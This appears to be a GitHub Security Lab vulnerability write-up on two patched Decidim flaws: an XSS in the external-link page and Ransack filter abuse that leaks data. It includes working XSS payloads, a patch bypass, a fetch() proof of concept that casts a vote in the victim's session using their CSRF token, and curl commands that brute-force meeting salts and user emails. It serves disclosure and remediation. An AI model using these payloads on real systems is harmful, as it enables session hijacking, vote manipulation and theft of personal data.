CodeQL pries open two XSS holes in Decidim
Open source software powers the vast majority of modern applications — roughly 97% of projects include it — which means a flaw in a single popular library or platform can cascade across the ecosystem. That is why the GitHub Security Lab runs regular CodeQL scans on open source projects, hunting for the same bug patterns that plague so much of the software we depend on.
That work recently paid off in Decidim, a Ruby on Rails-based platform for digital citizen participation used by governments worldwide — including New York City and the European Union — to let residents create initiatives, submit proposals, and vote or endorse on them. Using CodeQL's Ruby analysis in conjunction with multi-repository variant analysis (MRVA), the Security Lab identified two distinct cross-site scripting (XSS) vulnerabilities in Decidim. Both were patched by the Decidim team in May 2023 for all supported versions.
The first finding — CVE-2023-32693 — was an XSS vulnerability in Decidim's external link warning page. The second, uncovered via a custom CodeQL query, allowed data exfiltration through query filters, but only when a Decidim instance had the meeting component enabled.
CVE-2023-32693: XSS in the external link feature
Decidim presents users with an interstitial page before following a link to an external website. The page renders the URL and prominently highlights its hostname. CodeQL's default Ruby query for reflected XSS flagged the link_to helper in new.html.erb inside decidim-core as a sink, with the external_url GET query parameter as a user-controlled source flowing into it. The link_to helper is a particularly dangerous XSS sink because it permits URIs using the javascript: scheme.
<%= link_to t("decidim.links.warning.proceed"), params[:external_url], class: "button expanded primary" %>
The page constructs the displayed URL by parsing the user-supplied parameter through a regular expression in the LinksController that splits the URL into parts:
parts = external_url.match %r{^(([a-z]+):)?//([^/]+)(/.*)?$}
The regex enforces two forward slashes after any scheme, which might appear to neutralize a direct javascript: payload — the second slash would turn everything after it into a comment. But Ruby's regex engine defaults to multi-line matching, meaning the pattern only needs to match a single line of the input. A payload that sneaks a newline past the regex can still forge a functional javascript: URL in the rendered page.
A common pitfall in Ruby’s regular expressions is to match the string’s beginning and end by ^ and $, instead of \A and \z.
[..]Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong.[..] you always need to keep in mind that ^ and $ match the line beginning and line end in Ruby, and not the beginning and end of a string.
The working payload uses a URL-encoded newline (%0a) to break the input into two lines: the first line carries the JavaScript scheme with trailing slashes that comment out the rest of the line, while the second line is a legitimate URL that gets displayed to the user. To the user, the link appears to point to https://securitylab.github.com, with that as the emphasized hostname, while clicking the "Proceed" button actually executes the attacker's JavaScript in the context of the Decidim site.
javascript:alert(document.location.host)//%0ahttps://securitylab.github.com
One patch wasn't enough
In an initial attempt to fix the flaw, Decidim switched the regex to string anchors (\A and \z) instead of line anchors and introduced library-based URI parsing. But that hardening can still be beaten. An attacker can simply pass the javascript: scheme directly, encoding the newline twice (%250a) so the regex never sees an actual line break:
javascript://securitylab.github.com%250aalert(document.location.host)
The double-encoded newline means the displayed URL is less innocuous than in the first variant — the payload is more visible in the preview — but the XSS still executes. This demonstrates that validating URLs purely through regex patterns, even with correct anchors, remains fragile.
Skewing participation with a crafted link
The real risk of this XSS is that an attacker could exploit a logged-in user's session to silently take actions on their behalf. Consider the impact on a citizen participation platform: an attacker could trick a logged-in user into endorsing or supporting a proposal they never intended to back.
A proof-of-concept payload uses the Fetch API to extract the CSRF token from the DOM and send a POST request to the target proposal's endpoint:
fetch("/processes/consequuntur-aperiam/f/12/proposals/8/proposal_vote",
{
"headers":
{
"x-csrf-token": document.querySelector('[name="csrf-token"]').getAttribute("content"),
"x-requested-with": "XMLHttpRequest"
},
"method": "POST",
"mode": "cors",
"credentials": "include"
})
Once URL-encoded, that long, strange-looking string can be posted as a comment or embedded in a proposal. If the WYSIWYG editor is enabled on the target instance, the attacker can hide the link behind ordinary link text. Even without that, the malicious link can be distributed directly via email to targeted individuals who are likely logged into the instance.
Remediation guidance
For developers building similar link-handling features, the safe pattern is:
- Parse the URI with a library (e.g., checking
URI.parse(uri).scheme) and enforce an allow list that only permitshttpandhttpsschemes before passing the URI tolink_to. - Use string anchors (
\Aand\z) rather than line anchors in any URL-related regex. - Deploy a Content Security Policy (CSP) that disallows inline JavaScript, though other parts of the application typically need adjustment to keep working.
On the broader horizon, Chromium is exploring ways to restrict execution of javascript: URLs to a small set of common, safe uses like javascript:void(0). Completely disabling them is off the table for now because too many sites still rely on them in some capacity.
Ransack Filter Abuse Led to Data Exfiltration in Decidim
The second flaw, CVE-2023-34090, enabled data exfiltration from Decidim's relational database when the meetings component was active. Decidim relies on the third-party Ruby library Ransack to filter database collections such as public meetings. By default, Ransack permits filtering on every data attribute and association, which opened the door for an unauthenticated remote attacker to extract non-public data—including entries from the user table—from a vulnerable instance.
Using a custom CodeQL query, we traced user-controlled query filters into the filter parameter of the CalendarsController:
def show
render plain: CalendarRenderer.for(current_component, params[:filter]), content_type: "type/calendar"
end
The filter is forwarded through multiple classes such as CalendarRenderer and BaseCalendar before reaching a ransack sink in the ComponentCalendar class.
def filtered_meetings
meetings.not_hidden.published.except_withdrawn.ransack(@filters).result
end
This exposed a brute-force avenue for unauthenticated attackers via the meeting filtering functionality. While direct data retrieval through queries is not possible, attackers could abuse Ransack's start(of) method to check whether a database field starts with a specific character. By iterating character by character, an attacker can reconstruct the total value of a field. For a string of length n from a character set of size m, the worst-case number of requests is m*n—far less than attempting every combination.
The feasibility of case-sensitive exfiltration depends on the underlying database collation. However, when the target value uses a limited character set, the attack is efficient. For instance, exfiltrating a 64-character meeting salt composed of hex digits (0-9a-f) requires at most 1,024 requests (64 × 16).
Proof of Concept: Stealing a Meeting Salt and User Emails
Decidim lets organizers schedule meetings for participatory processes, each tied to a randomly generated "salt." In the first proof of concept, we demonstrate exfiltrating this salt through the calendar endpoint. The prerequisite is that at least one meeting exists.
https://<decidim-host>/processes/facere-qui/f/11/calendar
Adding a Ransack filter to the URL allows testing whether a meeting salt starts with a specific character:
curl "https://<decidim-host>/processes/facere-qui/f/11/calendar/?filter%5Bsalt_start%5D=0"
A non-empty response signals at least one meeting has a salt beginning with that character. If no result is returned, the character is absent and the attacker moves to the next in the set. With 16 requests, the first character is identified; repeating the process with longer prefixes recovers the full salt.
The second proof of concept targets user email addresses associated with a meeting. The meeting model's registrations association links to the user table, which can be misused to extract email addresses of registered participants.
This connection allows queries via Ransack to test email prefixes:
curl "https://<decidim-host>/processes/facere-qui/f/11/calendar/?filter%5Bregistrations_user_email_start%5D=m"
curl "https://<decidim-host>/processes/facere-qui/f/11/calendar/?filter%5Bregistrations_user_email_start%[email protected]"
Though the character set for emails is larger (e.g., 0-9a-z.-_@ = 40 characters), the local part is often short. Domain suffixes rarely require complete brute-forcing since many users share common providers (gmail.com, hotmail.com, etc.), which reduces the request count in practice. An automated brute-force session is shown above.
Remediation for Ransack Data Leakage
Projects exposing Ransack-based filtering to remote users should set ransackable_attributes and ransackable_associations to an empty array unless explicitly needed. Ransack 4.0 (released in February 2023) enforces this allowlist behavior by default.



